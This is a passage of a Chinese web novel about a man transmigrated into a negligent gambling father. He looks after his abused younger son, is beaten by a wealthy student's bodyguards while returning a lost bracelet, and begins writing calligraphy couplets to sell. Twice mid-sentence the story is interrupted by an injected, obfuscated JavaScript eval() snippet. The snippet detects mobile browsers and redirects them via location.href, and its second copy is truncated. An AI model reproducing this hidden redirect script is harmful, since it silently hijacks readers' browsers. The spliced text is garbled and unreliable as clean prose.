明则仙听到那群人喊他: “等了很久了吗?” 余光里,明则仙看到那漂亮少年转过头来,摇了摇头,轻声道:“刚来。” 他声音如同泉水击玉,很是好听: “你们想喝什么。” “老样子。” 他的朋友们打了个响指,开始点单。 这副场面有点眼熟,明则仙看着他们,忽然想起自己第一次上大学的时候,在好奇心的驱使下,第一次走进这样的咖啡馆。 他仰起头听着自己的舍友们熟练地点单,只有自己看着菜单上价格昂贵的饮品,几近目瞪口呆。 墙上最便宜的一杯饮品都要十几块钱,够他在食堂吃两餐饭,那是他第一次感受到了社会上过于高昂的物价,拮据和无措让本就自以为百炼成钢的自尊心再一次被狠狠蹂\躏踩踏,最后明则仙没能好意思当场离开,只能硬着头皮点了最便宜的冰美式,后来因为咖啡过敏吐了一天,几乎是什么也没有吃。 陷入了记忆里的明则仙没意识到自己的视线落在陆兰妙的身上太过于长,惹得陆兰妙微微皱了皱眉,莫名有些不悦。 他长的漂亮,从小到大落在他身上的视线不计其数,有艳羡有倾慕,也有下□□\邪的,陆兰妙此时无法分辨明则仙此刻的眼神带着什么样的意味,但他看着明则仙的装扮,先入为主地将他纳入了后一类中。 他忍了忍,还是没忍住,下意识回瞪了一眼明则仙,但明则仙此时却忽然将视线收了回去。 雨势渐收。 明则仙不知道陆兰妙在瞪自己,推开门走了出去,清脆的风铃声自他身后响起。 明则仙站在咖啡馆门口,点了一根烟,夹在手指中吸了几口,片刻后将烟在垃圾桶上按灭,顺手丢了进去。 想起还在家里等自己的小儿子,明则仙只能冒着小雨,冲了出去。 雷声忽然响起,电光四射,明则仙脚下的雨水被溅起成无数滴晶亮的水珠,雨水从他额头淌下,沾湿了他过于明亮漆黑的眼睛。 “兰妙,兰妙?” 同学喊了几声,才将陆兰妙喊回神,见陆兰妙刚才一直盯着门外看,忍不住问: “你在看什么呢?” 陆兰妙这才收回视线,余光里看见明则仙放才站过的地方留下的脚印泥和水滴,将吸管压在唇边,摇了摇头,道: “没事。” 方才胡子拉碴的明则仙只在他心上过了不到半秒,就被他抛在脑后,只余漫不经心的嗓音响起,如同融化的雪水淌过山涧,泛着淡淡的冷意: “一个完全不重要的人而已。” 4. 误会 明则仙冒雨赶回了家。 他回到家的时候,全身已经基本湿透了,雨水从他过长缺少打理的长发丝一点一点落下来,在肩头汇聚,洇入衣服的布料里,将那一处的颜色打的更湿更深。 浑身冰凉,明则仙忍受着刺寒贴肤的“雨衣”,怀里紧紧地抱着灯泡的盒子,快步来到地下室的门前,敲开了门。 他连敲了三下,等了几分钟,明华才姗姗来迟,给他开了门。 明华开门时还有些怯怯的,似乎是害怕来的人是催债的人,全身害怕紧绷,含胸弓着背,使他本来就瘦弱矮小的身体此刻更显猥琐。 他抬起眸,漆黑的睫毛因为紧张而颤抖,自下而上地往上看人,见来的人是明则仙,眉头才微微舒展,语气也轻快了不少: “爸爸!” 他将门拉开,道:“你终于回来了!” 明则仙“嗯”了一声,甩了甩手走进地下室,在经过明华的时候顺手在他背上拍了一下: “站直,别含胸驼背的,难看。” 明则仙上初中的那会儿,身形抽条长高,加上因为是孤儿,和同龄人对比起来难免自卑,所以经常弯腰驼背,被福利院的工作人员发现后提醒了几次,见明则仙依旧不改,于是那位工作人员每次见到明则仙都会大力地拍一下明则仙的后背,让他站直,不准驼背。 久而久之,明则仙一看到那位工作人员就会下意识挺直后背,加上明则仙在学校的成绩还不错,脸长开之后,也有不少人对他表示倾慕与喜爱,明则仙便慢慢丢掉了自卑,逐渐挺直了腰板。 “哦........”明华稍微挺直了后背,但没过几秒就恢复了原来的样子。 明则仙扫了一眼家里,发现客厅已经被打扫的干干净净,全无方才的凌乱,有些诧异地转向明华,道: “都是你收拾的?” “是的,爸爸。”明华对待明则仙的态度不像是对自己的父亲,倒像是对自己的上司,老老实实地搬来梯子,放在明则仙面前。 明则仙把灯泡拆开,爬上梯子,取下坏掉的灯泡放在口袋里,随即仰头装上新的灯泡: “怎么不等我回来一起收拾?” 明华:“.........” 他被问得一愣,犹豫几秒之后,才小声道: “可是爸爸之前不是说过,如果在你回来之前家里还是乱七八糟的,就要打我和哥哥吗?” 明则仙:“..........” 差点忘了,书里的渣爹角色之前欠了不少债,自己拿着钱躲到外面逍遥,任由债主追到家里。 那些债主见拿不到钱,就开始打砸,渣爹赌输回来之后看到家里乱七八糟的景象,还要转移矛盾,把兄弟两人打一顿,发泄又赌输了的怒气。 大儿子明景早就受不了明则仙,高考完就自己出去打工挣钱了。 明景知道家里没钱,所以一早也就没指望明则仙能给他学费和生活费,直接进厂当了暑假工,厂里包吃包住,他大学开学之后他就直接去了学校,根本没再回过家—— 算起来,明华已经大半年没见到他哥了,发给他哥的消息也都石沉大海,大部分都没有一点回应。 明华都不知道他哥哥现在过得好不好。 他听他同学说,上大学要很多钱。 不仅要学费生活费,刚开学那会儿,明景估摸着还要购置床上用品这类的,他们大学生又还要写论文,少不得要平板电脑和手机这些电子产品。 可别说平板电脑,他哥哥之前用的手机还是他爸爸淘汰下来的二手机,内存早就满了,经常卡死黑屏,付个钱都要转个三分钟,消息也经常接收不到。 加上还有一些开学聚餐之类的,也要花钱,明华试探性地给他哥发消息,问要不要转点钱给他,却只得到冰冷的两字回复—— “不用。” 落在头顶上的温热骤然将明华的神志拉了回来,他眼前忽然亮起,眼睛被光线刺入,他忍不住微微眯了眯眼睛,仰头看见明则仙正背对着光,揉了揉他的脑袋,对他笑: “以后家务我们一起做。” 明则仙的手指穿过他的头发,难得的认真温和: “对不起明华,爸爸以后都不会打你了。” 明华怔怔然:“..........” 虽然这句话之前听过很多遍,但下一次还是会挨打,明华原本以为自己已经习惯了明则仙的善变,但当再度听到这句话时,他还是忍不住鼻尖微酸,下意识低下头,用手背擦了擦眼角。 明则仙:“.........” 他哭笑不得地伸出手掌,拍了拍明华的脸颊,用大拇指指腹顺手擦掉明华的眼泪,道: “好了,别哭了,男儿有泪不轻弹。” 他看着明华泛红的眼睛,只觉这小孩真可怜,看到他,就像看到了之前的自己一样: “去写作业吧,爸爸给你做点吃的。” 明华闻言,登时瞪圆眼睛,惊慌道: “别,爸爸,还是我做给你吃吧!” 明则仙出生的时候刚好赶上计划生育,他爸又是体制内的教师,结婚晚,拢共也就只生了明则仙一个,所以全家宠他宠的如珠如宝,明则仙长这么大,都没自己洗过一天衣服,更别提做饭了。 明则仙小的时候啃老爸,长大的时候啃儿子,所以养成了这样无法无天觉得做什么事都有人兜底的性格,以至于到成年后完全长歪了。 想到原主,明则仙又是轻叹一口气。 他自己都饿的不行了,受不了明华这磨磨唧唧的性格,于是伸出手,推了一下明华,不容置疑道: “去读书,别挡在这里碍事。” 他说:“再不去读书,要是被我发现期末成绩退步了,看我不收拾你。” 他这样一说话,就好像又恢复了原主恶声恶气的模样,明华登时如梦初醒,不敢再惹明则仙,听话地小跑几步离开了,拿上书包进了房间,关上门学习。 打发走明华,明则仙把梯子移到客厅角落,把盒子丢到门边准备明早再出去丢掉。 他环视了一圈,开始仔细打量自己的家。 地下室不大,拢共也就三间卧室,挨挨挤挤地紧凑在一起,客厅更是小的要死,放了个餐桌、茶几、小沙发就基本不能再加东西了,再往前走几步都要出家门了。 明则仙进了厨房,弯腰打开小冰箱。 里面没什么东西,只放了几颗包菜。 最近X市包菜滞销,按几毛钱一斤卖,估摸着是明华贪便宜买回来的。 明则仙找了一圈,又从柜子里翻出两个鸡蛋和一根胡萝卜、以及掰了一半的玉米。 锅里还有昨天晚上吃剩的冷饭,明则仙想了想,索性炒了个蛋炒饭饭。 他厨艺不错,香味很快就从厨房飘进了客厅和明华的房间,明华写作业的笔尖微顿,鼻子动了动,被香的快要做不下去作业了。 但他谨记明则仙让他读书的话,所以不敢轻易出房间,直到门外传来敲门声,三秒钟之后就被推开,明华下意识转过头,发现明则仙端着两碗炒饭进来了。 见到明则仙进来,明华先是愣了两秒,随即立刻站起来,拘谨道:“爸爸。” “敲你门没反应,我就先进来了。” 明则仙叫他坐,随即把碗放在他桌上: “傍晚的时候你就吃了俩小苹果,这会子估计饿了。你先吃,吃完再写作业,写完作业再把碗洗了。” 明则仙不讨厌做饭,但很讨厌洗碗。 索性锅和灶台他也早就收拾好了,洗两个碗,最多花明华三分钟时间。 明华点了点头,小心翼翼地看着桌面上冒着油光的晶亮炒饭,咽了咽口水,随即低声道:“爸爸,这是........给我吃的吗?” 明则仙:“.........” 他看了明华一眼,在他椅子边坐下来,翘着二郎腿自己先吃上了: “不是。” 他挖苦明华:“是给你房间的老鼠吃的。” 明华:“........” 他这回知道明则仙是都逗他了,脸上闪过一丝尴尬,于是低下头,拿起勺子,开始吃饭。 明则仙吃饭不怎么说话,很安静,吃的也很快,三口两口吃完,见明华还在吃,就说: “你先吃,我去洗澡,你吃完记得洗碗。” 明华还沉浸在父亲给自己做了第一顿饭的喜悦里,都没意识到明则仙说了什么,直到明则仙关门出去,他才小心翼翼地从抽屉里拿出一台手机,对着吃到一半的蛋炒饭拍了个照,随即发到了自己的扣扣空间: “爸爸给我做的第一顿饭,开心小猫转圈jpg.” 明则仙还不知道自己做的一碗蛋炒饭已经被明华激动地分享出去了,直接去浴室洗澡。 于是也很小,角落里还长满了青苔,明则仙脱衣服的时候仰起头,发现头顶还有大片黑色的霉点,呼吸的时候都是潮味。 明则仙无语,只能强迫自己不看,认真洗澡洗头。 浴室的热水器有点问题,洗太长时间水就不热了,明则仙赶在水变凉的下一秒洗完了头,用毛巾擦了擦头发,走出了浴室。 明华已经把碗洗好了,见明则仙出来,便下意识站好,认真道: “爸爸,洗完碗了。” 明则仙“嗯”了一声:“作业写完了吗?” 明华迟疑几秒:“还剩一点点。” “那你先把作业写完,等一会儿再去洗澡,热水器还在加热。” 明则仙看了一眼墙上的时间,道: “去吧。” 明华点了点头,听话地回房间了。 明则仙吹干头发,盘腿在客厅坐了下来。 他找到一张纸和笔,打开手机,开始计算梳理自己目前欠下的债。 虽说钱不是他欠的,但他现在人都穿进来了,总不好丢下这堆烂摊子不管。 他大概看了一下手机里的催债短信,手动计算了一下,发现原主目前还欠个十六万左右,不是个还不起的天文数字。 虽然原主很傻逼,但是还没蠢到去借高利贷,利息不高,欠的本金也还在能接受范围内。 现在的问题就是明则仙自己没工作,加上两个孩子还要读书,三个人还有日常饮食通勤房租水电等的开销,如果再这样坐吃山空下去,肯定是顶不住的。 明则仙心烦,点了一根烟,一边抽烟,一边算着每个月要还多少才能最快速地还完这笔债。 他在计算的时候,明华已经抱着衣服去洗澡了,洗完澡又走了回来。 他看见明则仙没在喝酒,有些惊讶,踌躇地站在原地等了片刻,见明则仙抬起了头,才紧张问道: “爸爸,你还不睡觉吗?” “你先睡吧,我不困。” 明则仙现在哪里睡得着,他穷的很清醒: “明华,你那边还有多少钱?” 一提到钱,明华又很紧张。 他一直没有告诉明则仙自己手上还有多少钱,就是怕明则仙再打爷爷退休金的主意,只能磕磕巴巴地含糊道: “没,没多少钱。” 明则仙见他不说,也不勉强,只道: “算了,你去睡吧。” 债务还是他自己想办法还清。 他等明华关上门睡觉去了,没多久也熄了灯,进房间睡觉。 浴室的热水器管漏水,滴落在地面上,地下室隔音又不好,水滴的声音落在本来就不太能睡着的明则仙耳朵里,简直像是在他耳边敲锣打鼓。 明则仙索性坐起了身,打开灯,正打算去看看漏水的热水器管,结果进浴室的时候,就发现浴室和墙面连接的地方有大片土黄色的霉斑,只不过他刚刚忙着想事情,就没注意到。 明则仙蹲下身,朝侧里面看去,见那霉斑露在外面的部分其实是冰山一角。 它已经沿着潮湿漏水的墙面不断往里长,大片触目惊心密密麻麻的黄黑色霉斑沿着挡住视线的床沿阴暗处往里延伸,几乎快占据盘旋了大半面墙,墙面看起来坑坑洼洼,黏着结块凝固的霉菌,看起来又恶心又恐怖,呼吸间都是霉的土腥味。 明则仙.......明则仙差点吐了。 他下意识屏住呼吸,缓缓站起身,后退了几步。 能看见的霉菌已经很多,盘旋漂浮在空气中的孢子更是不计其数,再长久地呆下去,对身体的伤害只会大不会小。 明则仙转身退出了房间,选择去客厅的沙发上睡。 现在是冬天,冷得很,明则仙只能回房间把被子都抱出来,堆在上面,才勉强御寒。 沙发的角落都已经脱线了,露出了黄色的海绵,但是明则仙一番折腾下来真的有点累了,阖上眼皮,清醒抵御着困意。 没多久,正当他就要睡着的时候,头顶忽然又传来巨大的哐啷一声动静,他猛地惊醒,下意识睁开眼,心脏砰砰作响,好似要跳出胸膛。 天花板上头传来男人嘶吼女人大叫和孩子的哭泣的声音,好像四重奏一样,绵绵无绝期。 明则仙:“.......” 他转过身,用被子当着耳朵,强忍着烦躁的情绪,等那阵声音消失。 地下室隔音很不好,还能听到上面时不时传来的汽车嗖的一下穿过的车流声,明则仙只觉好像自己就睡在大马路上,被鸣笛和车轮滚动的声音折磨的有点神经衰弱,直到快凌晨的时候才勉强睡下。 醒来的时候,明华已经坐公交车去上学了,桌上还摆着早饭,是明华熬的粥,旁边放着一小包开了封又被折起来的榨菜。 明则仙被这破旧吵闹的环境折磨的不轻,整个人起床的时候都还是萎靡的。 他洗漱完后,发现自己昨天晚上换下来的湿衣服都被明华洗干净了,就晾在客厅唯一能被光照到的窗户面前。 他轻轻挑了挑眉。 明华这孩子.......还挺乖的。 明则仙一边喝着稀粥,一边心想,自己得先找个工作才行。 就算不是为了孩子,为了他自己,他也不觉得自己得有一份经济收入,然后赶紧搬走。 这鬼地方真的不是人能呆的。 明则仙快速吃了饭,随即拿上身份证,去衣柜里拿了一件勉强能穿的出去的干净衣服,就这么出门了。 还有半个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338574|167793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左右,就要过年了,街上喜气洋洋的,卖烟花爆竹的店都人满为患,不少集市还有人摆摊卖对联灯笼。 现在这个时候,要找一个稳定的工作太难了,只能找短工先干干。 短工也好,起码日结工资,马上要过年了,得给孩子买新衣服,还得发红包。 算起来,读大学的明景马上也要放寒假回家了。 明则仙双手插在兜里,隔着斑马线,长长吐出一口气。 他先是去了最繁华的街上,盯着寒风到处转悠找工作,但很多人嫌弃他年纪大,或者长相邋遢,不愿意要他。 其实明则仙身体是原本他自己的,只不过是穿过来的时候,被原书需要剧情设定稍微改造了一下,此刻他头发长的能过肩,胡子邋遢,因为没睡好眼下又青黑一片,再加上为了御寒而混搭的奇怪穿搭,怎么看都像是比流浪汉好一点的奇怪大叔。 明则仙一个人在外面晃到晚上,都没找到工作。 他又饿又冷,索性在大马路的椅子上坐了下来。 夜幕降临,路灯一个个亮了起来,繁华的商城人流转着璀璨的光芒,人来人往,装修精致的奢侈品店的店面门口站着西装笔挺的店员,店内温暖带着甜香味的气息顺着飘到明则仙的身上,是好闻的香水味道。 明则仙晃了一下神,忽然面前出现一截漂亮白皙的手腕。 他微微一愣,下意识抬起头,只见一个熟悉的身影从他面前走过。 那人右手叠戴着vca的紫玉髓手链和tiffany的手镯,白皙修长的手指握着一杯咖啡,和身边的人一起走向一家灯牌闪烁的酒吧,侧过脸说话时左耳上还打着一颗闪着光的钻石耳钉,在夜色下衬得他耳垂莹白如玉。 明则仙觉得那身影眼熟,忍不住多看了几眼,余光看见他走进酒吧里,而酒吧门口正放着一个牌子,正在招侍应生。 有工作! 明则仙这下来精神了。 他站起身,快步跟上那人的脚步,走了进去。 陆兰妙和朋友走到酒吧门前,正向推门进去,但还未抬手,就看见酒把的落地窗前倒映出一个男人的身影。 那男人一身杂牌,搭配混乱,毫无艺术性和美感可言,穿那么多纯粹是为了御寒,一头齐肩长发一看就没搭理,被吹的乱七八糟的扑在脸上,看不出年纪,但脸上胡子拉碴,眼下青黑一片,唇干裂起皮,完完全全就是一副流浪汉的模样。 陆兰妙性子冷淡,对大多数事情和人都不放在心上,也很少去刻意记忆一个人的长相,但也许是明则仙带给他的厌恶情绪比较深刻,此刻他看到明则仙,立刻就想起这个男人是昨天晚上在咖啡馆盯着他看的变\态。 他不动声色地皱了皱眉,有些不开心。 这个男人......莫不是知道他是龙成大学的学生,故意来跟踪他的? 这样的事情发生过太多次,陆兰妙原本应该习惯,但还是抵抗不住心中的厌恶情绪,抿了抿唇。 他并没有马上声张,也没有立刻下定论,而是准备再观察观察明则仙,于是继续和朋友说话,进了酒吧,很快就拐进了包间。 余光里他一直在注意明则仙,明则仙果然也一直跟着他走了进来,甚至在他进包间之前,还不断东张西望—— 应该是在找他吧。 明则仙还不知道自己在陆兰妙心里已经被打上了变态的标签,左右看了看,随意拉住了一个侍应生,问能不能帮忙找到经理,他是来找工作的。 经理听说有人要找工作,让明则仙等了二十多分钟,才出来了。 他把明则仙引到一间小办公室,为他倒了一杯水,两人坐下之后,经理便问了明则仙几个问题,必如年龄这类的,聊了一会儿之后,委婉地拒绝了明则仙,说他的形象不符合侍应生的要求。 酒吧侍应生是吃青春饭的,明则仙知道他嫌自己年纪大,于是便问还招不招保安,答案当然是否定的。 白跑一趟。 明则仙累了一天了,也不再纠缠,起身告辞,走之前发现自己刚才喝了水,有点想上厕所,于是问过经理厕所的位置之后,就去了厕所。 他刚走进去,就看见映入眼帘的镜子里倒映出洗手池边正在洗手的一个漂亮少年的影子。 之前明则仙看的都是陆兰妙的侧脸,这回透过镜子,他能看见陆兰妙过于惊艳的面容。 陆兰妙长的特别有古代人的韵味,眉毛细长如远山黛,唇红齿白,眉目如画,皮肤精致瓷白,没有一点瑕疵,一双狭长的丹凤眼蕴含着两颗漂亮如星子的瞳仁,透着浅浅的琥珀色,倒映出明则仙狼狈疲惫的面容。 陆兰妙见那个变态竟然跟着他进了厕所,微微皱起眉头。 他心下骤然又烦躁起来,甩了甩手,将水滴甩出去,随即抽了一张纸,一边慢条斯理地擦手,一边走了出去,和明则仙擦肩而过。 明则仙大概扫他一眼就知道陆兰妙和他不是一个世界的人,于是很快就转移了视线,找了一个隔间去上厕所。 出来之后,他站在陆兰妙曾经洗过手的地方准备洗手,刚打开水龙头,就发现洗手池边缘正静静躺着一条断裂的vca紫玉髓手链。 明则仙一愣,拿起手链一看,发现手链调节扣连接处断开了,以至于陆兰妙刚才甩手的时候,整条手链都滑掉下来了。 这手链不便宜,明则仙又不是不识货,知道要四万多,于是赶紧拿着手链追了出去。 他左右看了一圈,发现陆兰妙已经跟着同学一起出了酒吧门,赶紧跟了上去。 陆兰妙从震耳欲聋的音乐里,捕捉到了明则仙的脚步声,微微侧过头,见明则仙朝他的方向走了过来,心中终于确定明则仙是再跟着他。 他没声张,借故东西落下了,等会儿要回去拿东西,把同学打发走之后,才转进了一个小巷子里。 小巷子很昏暗,陆兰妙不紧不慢地往前走,月色映照在他的身上,将他的影子拉长。 很快,墙上又出现了一个更为高大的身影,紧紧地跟在他后面。 陆兰妙心中冷笑一声,在转过转角之后,刻意停了下来。 明则仙衣兜里揣着那条手链,快步往前走了几步,见陆兰妙走的很快,怕失主离开他的视线之内,也不得不小跑起来,转角时差点撞在陆兰妙身上。 陆兰妙微微后退几步,嫌恶地避开明则仙的触碰,随即仰起头,对上了明则仙的脸。 ——一张他都懒得多看的脸。 “就是你刚才一直跟着我?”陆兰妙轻声开了口,声音很好听,清澈里泛着冷意。 明则仙迟疑了片刻,随即点了点头: “对。” 他想说你手链掉了,我刚才捡到了想还,但还未开口,陆兰妙的身后却忽然出现了两个身材笔直挺拔高挑的壮汉。 他们穿着黑色的西装制服,贴身的衣物勾勒出健壮的肌肉,明则仙愣了愣,还未想明白这两人是什么时候出现在这里的,就看见陆兰妙后退几步,对身后的保镖吩咐道: “动手吧。” 陆兰妙水润的红唇里吐出冰凉的字句,一副不愿意多看明则仙一眼的模样, “把他打的再也站不起来为止。” 5. 蹊径 许是这种事情已经发生了很多次,保镖都有些见怪不怪了,陆兰妙话音刚落,他的影子便已经快速逼至明则仙的身前。 明则仙反应很快,侧头躲过坚硬的拳头,强劲的拳风从他的鼻梁扫过,几乎要带起额前的一缕碎发。 他猛地向后退去,还未开口,一记腿鞭就已经来到明则仙的太阳穴,要是被击中,明则仙能当场陷入昏迷。 明则仙只能咽下口中想说的话,反射性地伸出手去格挡。 手臂被这一条有力的长腿震的骨头都在发麻,明则仙咬牙忍住,握拳抬手反击,可保镖受过专业的格斗训练,明则仙最多是在大学里参加过几年的跆拳道社团,在保镖这种专业人士面前根本不够用的,三招两招就被拆了。 明则仙的体力和招式都落人下风,很快就被保镖掐着脖子按在了墙上。 后脑勺被重重抵在坚硬冰冷的墙上,痛地明则仙头皮发麻眼前一黑,铁钳般的手指紧紧压着这具被剧情改造过的被酒精掏空的身体,窒息感迫使明则仙下意识抬起头,用力呼吸着,小巷狭小的缝隙里露出头顶的一轮逐渐变的模糊的圆月,他只能听见自己粗重的喘息和陆兰妙清冷干净的声线: “行了,放开他。” 明则仙微微眯了眯眼睛,迫使自己保持清醒,视线的尽头出现陆兰妙过分漂亮如同妖媚附身一般的脸蛋,幽幽泛着月色的莹光: “别真把人弄死了。” 保镖像是一个只会接受指令的机器人,闻言一句话也不说,就松了手,明则仙捂着被掐红的脖子,脱力半跪在地上,用力咳嗽,余光里看见陆兰妙笔直的小腿,不然一丝尘埃: “还敢跟踪我吗?” 他俯视明则仙的表情就像是在注视一滩脏污的垃圾,居高临下: “下次再跟踪我,我就把你打的生活不能自理。” 言罢,陆兰妙懒得再理这个变态,转身就想走,一只手却忽然抓住了他纤细的脚腕。 他浑身登时紧绷起来,眼神中闪过一丝狠厉,抬起手就给了明则仙一耳光。 但下一秒,就被站起来的明则仙微微仰头躲过。 明则仙穿过来的身体是二十五岁,即便被原文剧情改造的人不像人鬼不像鬼,但仗着年纪,还是要比陆兰妙高一些的。 陆兰妙见没能得手,皱眉又要再试一次,可眼前忽然出现了一条手链,却骤然打断了他的动作: “.........” 月色盈盈,折射出紫玉髓手链清冷的光线,玉髓后面露出一双漆黑深邃的眼睛,月亮倒影在他的瞳仁中,清明几许: “你好像误会了。” 明则仙脖子被掐久了,音色也低沉沙哑,带着浓重的鼻音: “我没有跟踪你,方才你的东西掉了,被我捡到,我是来还东西的。” 陆兰妙:“.......” 他万万没想到明则仙是个拾金不昧的好人,而不是什么变态,瞳仁微微睁大,瞪着明则仙指尖缠着的被风吹的晃来晃去的手链,像是在努力判断明则仙话里的真实性: “你........” 明则仙嫌他磨叽,抓过他的手腕,强行将五花手链放回他的手掌心,在陆兰妙洁癖发作的前一秒,就松开了他的手,一言未发,一瘸一拐地往巷子外走。 他的膝盖方才跪在地上擦伤了,此刻稍微走动片刻就疼痛万分。 陆兰妙看着掌心里熟悉的手链,呆滞片刻后,顾不上自己被一个陌生的男人碰了,赶紧追上去,看着明则仙的背影,抬声道: “你方才真的没有跟踪我吗?” 他有些不相信,语速也变快了:“昨天晚上你和我在咖啡馆碰见,今天你又来酒吧,然后我们又在厕所遇到.....如果不是你故意跟踪我,那世界上为什么会有这么多的巧遇?” “........” 明则仙用力喘了一口气,感觉嗓子还是沙沙的干疼。 他扶着墙,喘过气来之后,才转过头,对陆兰妙道: “昨晚我在咖啡馆躲雨,今天我来酒吧面试工作,能在厕所遇见是因为我也想上洗手间........” 他轻咳一声,打量了一眼陆兰妙过于精致干净的穿搭,好像童话里铅尘不染的公主,与自己好像不是一个图层的人,于是叹了一口气,又道: “世界不是围着你转的,我有我的目的地,你有你的,只不过我们恰好在某一条道路上擦肩而过而已。巧合就是巧合,没有那么多为什么,你总不能下令让这个世界所有人都和你保持距离.......是吧,大小姐。” 陆兰妙头一次被教育的哑口无言,错愕地站在原地,眼睁睁地看着明则仙转过身又要走,半晌又动了动声带,局促地吐出几个字: “对不起啊..........” 他看着明则仙的侧脸,掌心的手链在他的皮肤上印下痕迹: “你,你伤着哪里没有?我可以赔偿你的......” “不用了。”明则仙自认倒霉,不跟这个敏感又脆弱的公主一般见识: “也没伤着哪里,不用赔钱。” 他说:“以后我不会出现在你面前,把心放肚子里,嗯?” 明则仙的鼻子里哼出散漫的音调,听起来像是在哄孩子,陆兰妙还未品出他究竟是在阴阳怪气还是在认真发誓,明则仙的身影就已经消失在视线之外了。 陆兰妙:“.........” 他怔怔地看着空荡荡的小巷,片刻后也不知道和谁生气,恶狠狠地将手中的手链丢到了地上。 身边的保镖尽职尽责地捡了起来,低声道: “少爷........” “处理了,别让我再看见它。” 陆兰妙声音冷冷的,明显带上了些许怒意: “我从来不要别人碰过的东西,脏。” “........是。” 另一旁的明则仙还不知道自己被人嫌弃了,拖着疲惫的身体回到了出租屋中。 开门进去时,明华已经在做饭了。 他一般只有中午在学校吃,晚上会回家做饭。 听到门口的响动,明华将菜装进盘子里,脆生生道: “爸爸,你回来了!” 他说:“饭也做好了,吃饭吧!” 明则仙应了他一下,脱下外套丢到沙发上,颓然地坐着。 明华将菜端到桌上,看见明则仙这副模样,放轻了动作,犹豫了许久,才小心翼翼道: “爸爸,你........又输了吗?” 说完这句话,他意识到自己多半又踩了明则仙的雷点,如临大敌地往后退了几步,时刻准备抱住头蹲下来,生怕明则仙恼羞成怒之下又打他。 可明则仙只是轻飘飘地撩起眼皮看了他一眼,随即懒散地开了口: “没去赌博。” 他说:“我白天出去找工作了。” 听到明则仙出去找工作,明华眼睛登时一亮,又惊又喜,最后甚至不可置信道: “爸爸,你........” “我什么?”明则仙饿的要死,站起身走到餐桌旁,拉开椅子就准备吃饭: “饿死了,吃饭吧。” “诶......好。”明华擦了擦眼睛。 不知道为什么,看到爸爸的转变,他就特别感动,又很想哭。 他主动给明则仙盛了一碗饭,还把桌上唯一的一盘看起来最有营养的鸡蛋推到了明则仙的面前。 明则仙看了他一眼,用筷子划开煎蛋,一人一半,丢进明华的碗里: “你今天上学怎么样?没人欺负你吧?” 明华:“.......” 他吃饭的动作微微一顿,片刻后想起同学把他堵在厕所隔间,把他按进便池里让他舔的画面,眼睫微颤,片刻后摇了摇头,换上一副笑脸,低声道: “没有啦爸爸。” 他说:“同学们都对我很好的,爸爸别担心我。” 明则仙看他一眼,又往他碗里丢了一块猪肉,道:“有人欺负你,要告诉爸爸。” 明华嗯嗯应了,随即关心道:“那爸爸今天找工作顺利吗?” 明则仙:“......不咋样。” 还挨了打。 听到明则仙的话,明华怕打击明则仙,于是忙安慰道: “没事的爸爸,我们慢慢找。” 明则仙“嗯”了一声,目光虚虚地看向远处的墙壁,不知在想什么: “我心里有数。” 吃完饭,明则仙把碗一丢,出去了。 明华不知道明则仙出去干什么,但只要不是出去赌博就好。 他洗完碗,摸出手机,给哥哥明景发信息, “哥哥,你知道吗,爸爸今天出去找工作了!” 他一边打字,一边小声嘀咕: “我觉得.......爸爸好像变好了。” 他发完信息,没等到哥哥明景的回复,又回房间写作业了。 他拉开书包,准备拿出作业本,手指却摸到了一个软软的东西。 明华吓了一大跳,把书包丢开,跳了起来,书包掉在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是........” “春联。”明则仙说:“马上不是要过年了吗,我回来的时候发现路上挺多人摆摊卖春联的,我们也卖。” 明华一愣:“我们.......卖春联?” “对。” 明则仙自小没什么朋友,自己一个人没事干的时候就喜欢练字,福利院的院长见他写的字挺漂亮的,有天赋,还想办法送他去学了书法,只不过后来那位社会爱心人士因为家中有事中断了对明则仙的资助,明则仙上大学之后也没怎么学了,全靠平时自己练。 大学时候,他顺手还参加了一个书法比赛,被一个书法家赏识,点拨了他几下,还说要收他当弟子,但艺术是一个需要远离铜臭的行业,也就是有钱人才学的起的,需要长久地沉稳沉淀,明则仙当时只想快速赚钱暴富,也就没有入行,只不过还和书法家保留着联系,没有得罪。 一个个铁画银钩般的字从明则仙的笔尖下流淌,宛若行云流水,字迹隽雅潇洒,流丽锋锐,自带一股风流古意。 明华直看愣了。 他盯着那一个个字,直到明则仙写完之后,活动了一下脖颈,放下了毛笔,才反应过来: “爸爸,你好厉害呀。” “这才哪到哪。”明则仙抬起头,笑:“很久不写了,都生疏了。” 他拿起一张写好的“福”字,道: “即便找不到工作,也不能无所事事。明天爸爸就把这些都拿到街边摆摊卖。等我赚到钱,就给你买过年的新衣服。” 明华还没来得及高兴,闻言又像是想起什么,迟疑片刻后,小声道:“爸爸,我们的对联真的有人买吗?” 明则仙斜眼瞥他一眼: “怎么,对爸爸这么没有信心啊。” “不,不是........”明华忙摆了摆手,忐忑地解释道:“爸爸的字很好看,可我就是害怕太多人卖,我们赚不到钱.......” “有什么好怕的。”明则仙不以为意:“没人买我们就自己在家贴,左右亏不了多少钱。” 明华:“可.........” 明则仙转过头,看向依旧不安紧张的明华,漆黑的眼睛里闪过意味不明,随即轻声开了口,只一句话就轻而易举地将明华心中的恐惧和害怕抹消了: “明华,这个世界上没有那么多可怕的东西。” 他淡淡道:“即便有,也有爸爸在呢。” 6. 命运 听见明则仙说这话,明华心思稍定。 他看着明则仙,片刻后谨慎地露出一个乖巧中带着讨好的笑,脸颊边缘的两颗小酒窝若隐若现,很是招人疼: “知道了。” 他说:“我相信爸爸。” 